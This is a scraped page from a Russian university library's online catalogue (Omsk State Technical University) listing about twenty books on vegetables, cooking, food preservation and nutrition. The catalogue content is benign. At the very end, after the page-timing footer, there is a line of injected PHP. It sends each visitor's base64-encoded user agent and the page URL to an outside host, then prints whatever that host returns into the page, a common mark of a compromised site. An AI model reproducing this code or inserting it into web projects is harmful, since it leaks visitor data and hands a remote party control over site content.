Перейти на сайт
библиотеки ОмГТУ
Share |
   
   
   
   
   

 
      Виртуальная справка
 
      Личный кабинет

Логин
Пароль
Забыли пароль?
Регистрация

 
      Счетчики
Rambler's Top100
Яндекс цитирования

Сейчас на сайте

399 пользователей


Зарегистрированных: 1 

Метель Максим Юрьевич


 
      Наши партнеры
Студенческий информационный портал компании
("Ключевые слова=ОВОЩИ")
Результаты поиска
СВОДНЫЙ КАТАЛОГ: Найдено записей: 134
1. 
Витамины круглый год [Текст] / К. С. Петровский [и др.], 1983. - 94, [2] с.
Держатели документа (Информация об экземплярах) 
2. 
Витамины круглый год [Текст] / К. С. Петровский [и др.], 1985. - 94, [2] с.
Держатели документа (Информация об экземплярах) 
3. 
Соловых, Зинаида Харлановна. Капустные овощи и блюда из них [Текст] / З. Х. Соловых, 1990. - 158, [1] с.
Держатели документа (Информация об экземплярах) 
4. 
Деревенская кухня [Текст] / сост. Т. А. Комарова, 1992. - 79, [1] с.
Держатели документа (Информация об экземплярах) 
5. 
Как консервировать фрукты и ягоды без сахара, а овощи без соли [Текст] / сост. Т. Енко, 1992. - 127, [1] с.
Держатели документа (Информация об экземплярах) 
6. 
Домашняя кладовая [Текст] / сост. В. Донцов [и др.], 1993. - 429, [1] с.
Держатели документа (Информация об экземплярах) 
7. 
Завистовска, Зофья. Диетическое питание при различных заболеваниях [Текст] / З. Завистовска, 1992. - 221, [1] с.
Ключевые слова 
ПИТАНИЕ ДИЕТИЧЕСКОЕ -- ПИТАНИЕ ЛЕЧЕБНОЕ -- ГИГИЕНА ПИТАНИЯ -- ПИТАНИЕ ЗДОРОВОЕ -- БЕЛКИ - ПИТАНИЕ -- УГЛЕВОДЫ - ПИТАНИЕ -- САХАРИДЫ - ПИТАНИЕ -- ЖИРЫ - ПИТАНИЕ -- ВЕЩЕСТВА МИНЕРАЛЬНЫЕ - ПИТАНИЕ -- ВОДА - ПИТАНИЕ -- ВИТАМИНЫ- ПИТАНИЕ -- МЕНЮ ДИЕТИЧЕСКОЕ -- ДИЕТА ЛЕЧЕБНАЯ -- ДИЕТА ЛЕГКОУСВОЯЕМАЯ -- БОЛЕЗНЬ ЖЕЛУДКА - ПИТАНИЕ -- БОЛЕЗНЬ КИШЕЧНИКА - ПИТАНИЕ -- БОЛЕЗНЬ ПЕЧЕНИ - ПИТАНИЕ -- ДИАБЕТ САХАРНЫЙ - ПИТАНИЕ -- ОЖИРЕНИЕ - ПИТАНИЕ -- БОЛЕЗНЬ СЕРДЦА - ПИТАНИЕ -- БОЛЕЗНЬ ПОЧЕК - ПИТАНИЕ -- ТЕМПЕРАТУРА ВЫСОКАЯ - ПИТАНИЕ -- ПИТАНИЕ ЖЕНЩИН БЕРЕМЕННЫХ -- ПИТАНИЕ КОРМЯЩИХ МАТЕРЕЙ -- СУПЫ - ПИТАНИЕ ЛЕЧЕБНОЕ -- ОВОЩИ - ПИТАНИЕ ЛЕЧЕБНОЕ -- БЛЮДА МУЧНЫЕ - ПИТАНИЕ ЛЕЧЕБНОЕ -- БЛЮДА ИЗ КРУП - ПИТАНИЕ ЛЕЧЕБНОЕ -- БЛЮДА ИЗ ЯИЦ - ПИТАНИЕ ЛЕЧЕБНОЕ -- БЛЮДА МЯСНЫЕ - ПИТАНИЕ ЛЕЧЕБНОЕ -- БЛЮДА РЫБНЫЕ - ПИТАНИЕ ЛЕЧЕБНОЕ -- СОУС - ПИТАНИЕ ЛЕЧЕБНОЕ -- БЛЮДА СЛАДКИЕ - ПИТАНИЕ ЛЕЧЕБНОЕ -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ ДИЕТИЧЕСКИЕ -- НАПИТКИ - ПИТАНИЕ ЛЕЧЕБНОЕ
8. 
Бруннек, Нинель Ивановна. Овощная кулинария [Текст] : от А до Я / Н. И. Бруннек, 1993. - 333, [2] с.
9. 
Руцкий, Аркадий Владимирович. Домашние заготовки [Текст] / А. В. Руцкий, 1993. - 255, [1] с.
Держатели документа (Информация об экземплярах) 
10. 
Заготовки впрок [Текст], 1992. - 94, [1] с.
Держатели документа (Информация об экземплярах) 
11. 
Заготовки впрок [Текст] : домашнее консервирование / сост. Ю. Воронов, 1993. - 189 с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
12. 
Маслов, Леонид Александрович. Кулинария [Текст] : Учеб. / Л. А. Маслов, 1957. - 295 с.
Держатели документа (Информация об экземплярах) 
13. 
Киселева, Вера Борисовна. Детская кухня [Текст] : Кн. для матерей о приготовлении пищи детям / В. Б. Киселева; В. С. Вайль, 1958. - 175 с.
Держатели документа (Информация об экземплярах) 
14. 
Эткер Овощи [Текст] : [Рецепты] / Эткер, 1994. - 92 с.
Держатели документа (Информация об экземплярах) 
15. 
Бирюкова, Вера Васильевна. Технология производства продукции общественного питания [Текст] : Учеб. пособие для вузов по специальности 060800 "Экономика и управление на предприятии (торговли и общественного питания)" / В. В. Бирюкова, Н. В. Шевченко, 2004. - 106 с.
Оглавление 
Держатели документа (Информация об экземплярах) 
Полный текст
16. 
Шатун, Любовь Григорьевна. Технология приготовления пищи [Текст] : учеб. / Л. Г. Шатун, 2006. - 478, [1] с.
Держатели документа (Информация об экземплярах) 

Учебник соответствует государственному общеобразовательному стандарту и дает необходимые представления по теории <механической> и <тепловой> обработки <продуктов>, расчетам сырья и <потерь> при обработке, технологии приготовления пищи с демонстрацией технологических карт и схем. ПРиведены многочисленные <кулинарные> <рецепты>.

Даны рекомендации по работе с нормативно-технологической документацией, составлению <меню>, <лечебному> <питанию>.

Для контроля знаний предложены контрольные измерители.

17. 
Котоусова, Антонина Митрофановна. Вяленые фрукты и овощи [Текст] / А. М. Котоусова, Н. Г. Котоусов, 1984. - 142, [2] с.
Ключевые слова 
Держатели документа (Информация об экземплярах) 
18. 
Социально-экономическое положение районов Омской области в 2004-2006 годах [Текст] : стат. сб. / Федер. служба гос. статистики, Территор. орган Федер. службы гос. статистики по Ом. обл., 2007. - 232 с.
Ключевые слова 
РОЖДАЕМОСТЬ -- РАЗВОД -- ТОВАР -- ОТГРУЗКА -- ЖИВОТНОВОДСТВО -- ПРОДУКЦИЯ -- ИНВЕСТИЦИЯ -- ЖИЛЬЕ -- ТОРГОВЛЯ -- ПЛАТНАЯ -- УСЛУГА -- ДОХОД -- РАСХОД -- ЗАРПЛАТА -- ЗАРАБОТНАЯ -- ПЛАТА -- БЕЗРАБОТИЦА -- НАСЕЛЕНИЕ -- ВОЗРАСТ -- ПОЛ -- МУЖЧИНА -- ЖЕНЩИНА -- ПРИРОСТ -- УБЫЛЬ -- БРАК -- СМЕРТНОСТЬ -- МИГРАЦИЯ -- УРОВЕНЬ -- ЖИЗНИ -- СУБСИДИЯ -- СОЦИАЛЬНОЕ -- ОБЕСПЕЧЕНИЕ -- ПЕНСИОНЕР -- ПЕНСИЯ -- ЖИЛИЩНЫЙ -- ФОНД -- ПРИВАТИЗАЦИЯ -- ЗАНЯТОСТЬ -- ТРУДОВАЯ -- ДЕЯТЕЛЬНОСТЬ -- ФИНАНСЫ -- БЮДЖЕТ -- ПОЛЕЗНОЕ -- ИСКОПАЕМОЕ -- ПРОИЗВОДСТВО -- РАСПРЕДЕЛЕНИЕ -- ЭЛЕКТРОЭНЕРГИЯ -- ГАЗ -- ВОДА -- СЕЛЬСКОЕ -- ХОЗЯЙСТВО -- ЗЕРНО -- КАРТОФЕЛЬ -- ОВОЩИ -- ЖИВОТНОВОДСТВО -- ПТИЦЕВОДСТВО -- МОЛОКО -- СТРОИТЕЛЬСТВО -- ТРАНСПОРТ -- СВЯЗЬ -- КОММУНАЛЬНОЕ -- ПРЕДПРИНИМАТЕЛЬСТВО -- МАЛОЕ -- ОБРАЗОВАНИЕ -- ЗДРАВООХРАНЕНИЕ -- ФИЗКУЛЬТУРА -- ФИЗИЧЕСКАЯ -- КУЛЬТУРА -- СПОРТ -- ИСКУССТВО -- ОХРАНА -- ОКРУЖАЮЩАЯ -- СРЕДА -- ЗАГРЯЗНЕНИЕ -- ПРАВОНАРУШЕНИЕ -- ПРЕСТУПНОСТЬ
Держатели документа (Информация об экземплярах) 
19. 
Товароведение и экспертиза потребительских товаров [Текст] : учеб. для торговых учеб. заведений / И. А. Ермилова [и др.], 2007. - 542, [1] с.

В учебнике изложены предмет и задачи, теоретические основы товароведения, классификация, химический состав, пищевая ценность отдельных групп товаров. Даны современные особенности технологии отечественных и импортных продуктов. Особое внимание уделяется сертификации и проведению экспертизы товаров растительного и животного происхождения.

20. 
Эткер Экзотические овощи [Текст] : [Рецепты] / Эткер, 1994. - 93 с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 2838 - 18.03.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 0.74 с.12 запросов, 0.34c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;